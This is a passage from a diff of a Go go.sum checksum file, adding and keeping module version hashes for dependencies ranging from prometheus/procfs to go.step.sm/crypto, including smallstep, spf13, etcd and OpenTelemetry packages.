+github.com/prometheus/procfs v0.2.0/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU=
+github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=
+github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=
+github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
+github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr2sn6hBC1WIYH/UbIg=
+github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q=
+github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
+github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
+github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
+github.com/rogpeppe/fastuuid v1.1.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
+github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
+github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
+github.com/rs/cors v1.7.0/go.mod h1:gFx+x8UowdsKA9AchylcLynDq+nNFfI8FkUZdN/jGCU=
+github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
+github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
+github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
+github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
+github.com/samfoo/ansi v0.0.0-20160124022901-b6bd2ded7189/go.mod h1:UUwuHEJ9zkkPDxspIHOa59PUeSkGFljESGzbxntLmIg=
+github.com/samuel/go-zookeeper v0.0.0-20190923202752-2cc03de413da/go.mod h1:gi+0XIa01GRL2eRQVjQkKGqKF3SF9vZR/HnPullcV2E=
+github.com/sassoftware/go-rpmutils v0.0.0-20190420191620-a8f1baeba37b/go.mod h1:am+Fp8Bt506lA3Rk3QCmSqmYmLMnPDhdDUcosQCAx+I=
+github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
+github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
+github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
+github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
+github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
+github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
+github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
+github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
+github.com/sirupsen/logrus v1.3.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
+github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
+github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
+github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88=
+github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
+github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
+github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e/go.mod h1:XV66xRDqSt+GTGFMVlhk3ULuV0y9ZmzeVGR4mloJI3M=
+github.com/slackhq/nebula v1.5.2/go.mod h1:xaCM6wqbFk/NRmmUe1bv88fWBm3a1UioXJVIpR52WlE=
+github.com/smallstep/assert v0.0.0-20180720014142-de77670473b5/go.mod h1:TC9A4+RjIOS+HyTH7wG17/gSqVv95uDw2J64dQZx7RE=
+github.com/smallstep/assert v0.0.0-20200723003110-82e2b9b3b262 h1:unQFBIznI+VYD1/1fApl1A+9VcBk+9dcqGfnePY87LY=
+github.com/smallstep/assert v0.0.0-20200723003110-82e2b9b3b262/go.mod h1:MyOHs9Po2fbM1LHej6sBUT8ozbxmMOFG+E+rx/GSGuc=
+github.com/smallstep/certificates v0.18.2/go.mod h1:GfaGvnmQXSR6JxG7ZkpDRixKyQPpWdw7GFD9zKs04nc=
+github.com/smallstep/certinfo v1.6.0/go.mod h1:DsKAlSDLWsywdiVBCfqqVdRuny77wqiI+NFskLM7Ods=
+github.com/smallstep/cli v0.18.2 h1:/3U+j3Z5/bfVBrIOczMO7B5N3Rz2IhGh/0O8faSXHj8=
+github.com/smallstep/cli v0.18.2/go.mod h1:ky03AzD18Knlke5RcHVvYy1bp0wVksEHOPBl3iwpAlU=
+github.com/smallstep/nosql v0.3.10/go.mod h1:yKZT5h7cdIVm6wEKM9+jN5dgK80Hljpuy8HNsnI7Gzo=
+github.com/smallstep/truststore v0.11.0/go.mod h1:HwHKRcBi0RUxxw1LYDpTRhYC4jZUuxPpkHdVonlkoDM=
+github.com/smallstep/zcrypto v0.0.0-20210924233136-66c2600f6e71/go.mod h1:+F24VU3UCxfVFvvqgm5jNUFQOm/L6ed13ImwWGFgg/g=
+github.com/smallstep/zlint v0.0.0-20180727184541-d84eaafe274f/go.mod h1:GeHHT7sJDI9ti3oEaFnvx1F4N8n3ZSw2YM1+sbEoxc4=
+github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
+github.com/smartystreets/assertions v1.0.0/go.mod h1:kHHU4qYBaI3q23Pp3VPrmWhuIUrLW/7eUrw0BU5VaoM=
+github.com/smartystreets/go-aws-auth v0.0.0-20180515143844-0c1422d1fdb9/go.mod h1:SnhjPscd9TpLiy1LpzGSKh3bXCfxxXuqd9xmQJy3slM=
+github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
+github.com/smartystreets/gunit v1.0.0/go.mod h1:qwPWnhz6pn0NnRBP++URONOVyNkPyr4SauJk4cUOwJs=
+github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
+github.com/soheilhy/cmux v0.1.5-0.20210205191134-5ec6847320e5/go.mod h1:T7TcVDs9LWfQgPlPsdngu6I6QIoyIFZDDC6sNE1GqG0=
+github.com/soheilhy/cmux v0.1.5/go.mod h1:T7TcVDs9LWfQgPlPsdngu6I6QIoyIFZDDC6sNE1GqG0=
+github.com/songgao/water v0.0.0-20200317203138-2b4b6d7c09d8/go.mod h1:P5HUIBuIWKbyjl083/loAegFkfbFNx5i2qEP4CNbm7E=
+github.com/sony/gobreaker v0.4.1/go.mod h1:ZKptC7FHNvhBz7dN2LGjPVBz2sZJmc0/PkyDJOjmxWY=
+github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
+github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
+github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
+github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
+github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
+github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
+github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
+github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU=
+github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=
+github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
+github.com/spf13/cobra v1.1.3/go.mod h1:pGADOWyqRD/YMrPZigI/zbliZ2wVD/23d+is3pSWzOo=
+github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
+github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
+github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
+github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
+github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
+github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
+github.com/src-d/gcfg v1.4.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI=
+github.com/streadway/amqp v0.0.0-20190404075320-75d898a42a94/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw=
+github.com/streadway/amqp v0.0.0-20190827072141-edfb9018d271/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw=
+github.com/streadway/handy v0.0.0-20190108123426-d5acb3125c2a/go.mod h1:qNTQ5P5JnDBl6z3cMAg/SywNDC5ABu5ApDIw6lUbRmI=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
+github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
+github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
+github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
+github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
+github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
+github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
+github.com/thales-e-security/pool v0.0.2/go.mod h1:qtpMm2+thHtqhLzTwgDBj/OuNnMpupY8mv0Phz0gjhU=
github.com/tidwall/gjson v1.9.3 h1:hqzS9wAHMO+KVBBkLxYdkEeeFHuqr95GfClRLKlgK0E=
github.com/tidwall/gjson v1.9.3/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
+github.com/tj/assert v0.0.0-20171129193455-018094318fb0/go.mod h1:mZ9/Rh9oLWpLLDRpvE+3b7gP/C2YyLFYxNmcLnPTMe0=
+github.com/tj/go-elastic v0.0.0-20171221160941-36157cbbebc2/go.mod h1:WjeM0Oo1eNAjXGDx2yma7uG2XoyRZTq1uv3M/o7imD0=
+github.com/tj/go-kinesis v0.0.0-20171128231115-08b17f58cb1b/go.mod h1:/yhzCV0xPfx6jb1bBgRFjl5lytqVqZXEaeqWP8lTEao=
+github.com/tj/go-spin v1.1.0/go.mod h1:Mg1mzmePZm4dva8Qz60H2lHwmJ2loum4VIrLgVnKwh4=
+github.com/tmc/grpc-websocket-proxy v0.0.0-20170815181823-89b8d40f7ca8/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
+github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
+github.com/tmc/grpc-websocket-proxy v0.0.0-20200427203606-3cfed13b9966/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
+github.com/tmc/grpc-websocket-proxy v0.0.0-20201229170055-e5319fda7802/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
+github.com/tomasen/realip v0.0.0-20180522021738-f0c99a92ddce/go.mod h1:o8v6yHRoik09Xen7gje4m9ERNah1d1PPsVq1VEx9vE4=
+github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc=
+github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
+github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8=
+github.com/ulikunitz/xz v0.5.7/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
+github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA=
+github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
+github.com/urfave/cli v1.22.2/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
+github.com/urfave/cli v1.22.4/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
+github.com/urfave/cli v1.22.5 h1:lNq9sAHXK2qfdI8W+GRItjCEkI+2oR4d+MEHy1CKXoU=
+github.com/urfave/cli v1.22.5/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
github.com/urfave/cli/v2 v2.2.0 h1:JTTnM6wKzdA0Jqodd966MVj4vWbbquZykeX1sKbe2C4=
github.com/urfave/cli/v2 v2.2.0/go.mod h1:SE9GqnLQmjVa0iPEY0f1w3ygNIYcIJ0OKPMoW2caLfQ=
+github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE=
+github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU=
+github.com/vishvananda/netns v0.0.0-20211101163701-50045581ed74/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
+github.com/weppos/publicsuffix-go v0.4.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k=
+github.com/xanzy/go-gitlab v0.31.0/go.mod h1:sPLojNBn68fMUWSxIJtdVVIP8uSBYqesTfDUseX11Ug=
+github.com/xanzy/ssh-agent v0.2.1/go.mod h1:mLlQY/MoOhWBj+gOGMQkOeiEvkx+8pJSI+0Bx9h2kr4=
+github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos=
+github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
+github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
+github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
+github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
+github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q=
+github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
+github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
+github.com/zmap/zcertificate v0.0.0-20180516150559-0e3d58b1bac4/go.mod h1:5iU54tB79AMBcySS0R2XIyZBAVmeHranShAFELYx7is=
+github.com/zmap/zcertificate v0.0.0-20190521191901-30e388164f71/go.mod h1:gIZi1KPgkZNUQzPZXsZrNnUnxy05nTc0+tmlqvIkhRw=
+github.com/zmap/zcrypto v0.0.0-20190329181646-dff83107394d/go.mod h1:ix3q2kpLy0ibAuFXlr7qOhPKwFRRSjuynGuTR8EUPCk=
+github.com/zmap/zlint v0.0.0-20190516161541-9047d02cf65a/go.mod h1:xwLbce0UzBXp44sIAL1cii+hoK8j4AxRKlymZA2AIcY=
+go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
+go.etcd.io/bbolt v1.3.3/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
+go.etcd.io/bbolt v1.3.5/go.mod h1:G5EMThwa9y8QZGBClrRx5EY+Yw9kAhnjy3bSjsnlVTQ=
+go.etcd.io/bbolt v1.3.6/go.mod h1:qXsaaIqmgQH0T+OPdb99Bf+PKfBBQVAdyD6TY9G8XM4=
+go.etcd.io/etcd v0.0.0-20191023171146-3cf2f69b5738/go.mod h1:dnLIgRNXwCJa5e+c6mIZCrds/GIG4ncV9HhK5PX7jPg=
+go.etcd.io/etcd/api/v3 v3.5.0-alpha.0/go.mod h1:mPcW6aZJukV6Aa81LSKpBjQXTWlXB5r74ymPoSWa3Sw=
+go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs=
+go.etcd.io/etcd/client/pkg/v3 v3.5.0/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g=
+go.etcd.io/etcd/client/v2 v2.305.0-alpha.0/go.mod h1:kdV+xzCJ3luEBSIeQyB/OEKkWKd8Zkux4sbDeANrosU=
+go.etcd.io/etcd/client/v2 v2.305.0/go.mod h1:h9puh54ZTgAKtEbut2oe9P4L/oqKCVB6xsXlzd7alYQ=
+go.etcd.io/etcd/client/v3 v3.5.0-alpha.0/go.mod h1:wKt7jgDgf/OfKiYmCq5WFGxOFAkVMLxiiXgLDFhECr8=
+go.etcd.io/etcd/client/v3 v3.5.0/go.mod h1:AIKXXVX/DQXtfTEqBryiLTUXwON+GuvO6Z7lLS/oTh0=
+go.etcd.io/etcd/etcdctl/v3 v3.5.0-alpha.0/go.mod h1:YPwSaBciV5G6Gpt435AasAG3ROetZsKNUzibRa/++oo=
+go.etcd.io/etcd/etcdctl/v3 v3.5.0/go.mod h1:vGTfKdsh87RI7kA2JHFBEGxjQEYx+pi299wqEOdi34M=
+go.etcd.io/etcd/etcdutl/v3 v3.5.0/go.mod h1:o98rKMCibbFAG8QS9KmvlYDGDShmmIbmRE8vSofzYNg=
+go.etcd.io/etcd/pkg/v3 v3.5.0-alpha.0/go.mod h1:tV31atvwzcybuqejDoY3oaNRTtlD2l/Ot78Pc9w7DMY=
+go.etcd.io/etcd/pkg/v3 v3.5.0/go.mod h1:UzJGatBQ1lXChBkQF0AuAtkRQMYnHubxAEYIrC3MSsE=
+go.etcd.io/etcd/raft/v3 v3.5.0-alpha.0/go.mod h1:FAwse6Zlm5v4tEWZaTjmNhe17Int4Oxbu7+2r0DiD3w=
+go.etcd.io/etcd/raft/v3 v3.5.0/go.mod h1:UFOHSIvO/nKwd4lhkwabrTD3cqW5yVyYYf/KlD00Szc=
+go.etcd.io/etcd/server/v3 v3.5.0-alpha.0/go.mod h1:tsKetYpt980ZTpzl/gb+UOJj9RkIyCb1u4wjzMg90BQ=
+go.etcd.io/etcd/server/v3 v3.5.0/go.mod h1:3Ah5ruV+M+7RZr0+Y/5mNLwC+eQlni+mQmOVdCRJoS4=
+go.etcd.io/etcd/tests/v3 v3.5.0-alpha.0/go.mod h1:HnrHxjyCuZ8YDt8PYVyQQ5d1ZQfzJVEtQWllr5Vp/30=
+go.etcd.io/etcd/tests/v3 v3.5.0/go.mod h1:f+mtZ1bE1YPvgKdOJV2BKy4JQW0nAFnQehgOE7+WyJE=
+go.etcd.io/etcd/v3 v3.5.0-alpha.0/go.mod h1:JZ79d3LV6NUfPjUxXrpiFAYcjhT+06qqw+i28snx8To=
+go.etcd.io/etcd/v3 v3.5.0/go.mod h1:FldM0/VzcxYWLvWx1sdA7ghKw7C3L2DvUTzGrcEtsC4=
+go.mozilla.org/pkcs7 v0.0.0-20210730143726-725912489c62/go.mod h1:SNgMg+EgDFwmvSmLRTNKC5fegJjB7v23qTQ0XLGUNHk=
+go.mozilla.org/pkcs7 v0.0.0-20210826202110-33d05740a352/go.mod h1:SNgMg+EgDFwmvSmLRTNKC5fegJjB7v23qTQ0XLGUNHk=
+go.opencensus.io v0.15.0/go.mod h1:UffZAU+4sDEINUGP/B7UfBBkq4fqLu9zXAX7ke6CHW0=
+go.opencensus.io v0.20.1/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
+go.opencensus.io v0.20.2/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
+go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
+go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
+go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
+go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
+go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
+go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk=
+go.opencensus.io v0.22.6/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E=
+go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E=
+go.opentelemetry.io/contrib v0.20.0/go.mod h1:G/EtFaa6qaN7+LxqfIAT3GiZa7Wv5DTBUzl5H4LY0Kc=
+go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.20.0/go.mod h1:oVGt1LRbBOBq1A5BQLlUg9UaU/54aiHw8cgjV3aWZ/E=
+go.opentelemetry.io/otel v0.20.0/go.mod h1:Y3ugLH2oa81t5QO+Lty+zXf8zC9L26ax4Nzoxm/dooo=
+go.opentelemetry.io/otel/exporters/otlp v0.20.0/go.mod h1:YIieizyaN77rtLJra0buKiNBOm9XQfkPEKBeuhoMwAM=
+go.opentelemetry.io/otel/metric v0.20.0/go.mod h1:598I5tYlH1vzBjn+BTuhzTCSb/9debfNp6R3s7Pr1eU=
+go.opentelemetry.io/otel/oteltest v0.20.0/go.mod h1:L7bgKf9ZB7qCwT9Up7i9/pn0PWIa9FqQ2IQ8LoxiGnw=
+go.opentelemetry.io/otel/sdk v0.20.0/go.mod h1:g/IcepuwNsoiX5Byy2nNV0ySUF1em498m7hBWC279Yc=
+go.opentelemetry.io/otel/sdk/export/metric v0.20.0/go.mod h1:h7RBNMsDJ5pmI1zExLi+bJK+Dr8NQCh0qGhm1KDnNlE=
+go.opentelemetry.io/otel/sdk/metric v0.20.0/go.mod h1:knxiS8Xd4E/N+ZqKmUPf3gTTZ4/0TjTXukfxjzSTpHE=
+go.opentelemetry.io/otel/trace v0.20.0/go.mod h1:6GjCW8zgDjwGHGa6GkyeB8+/5vjT16gUEi0Nf1iBdgw=
+go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
+go.step.sm/cli-utils v0.7.0/go.mod h1:Ur6bqA/yl636kCUJbp30J7Unv5JJ226eW2KqXPDwF/E=
+go.step.sm/cli-utils v0.7.2 h1:kUNNhGRWAad3bLkhvbLjVr3Dqs5DgxCZQcUspWaQCIQ=
+go.step.sm/cli-utils v0.7.2/go.mod h1:Ur6bqA/yl636kCUJbp30J7Unv5JJ226eW2KqXPDwF/E=
+go.step.sm/crypto v0.9.0/go.mod h1:+CYG05Mek1YDqi5WK0ERc6cOpKly2i/a5aZmU1sfGj0=
+go.step.sm/crypto v0.15.0 h1:VioBln+x3+RoejgeBhvxkLGVYdWRy6PFiAaUUN29/E0=
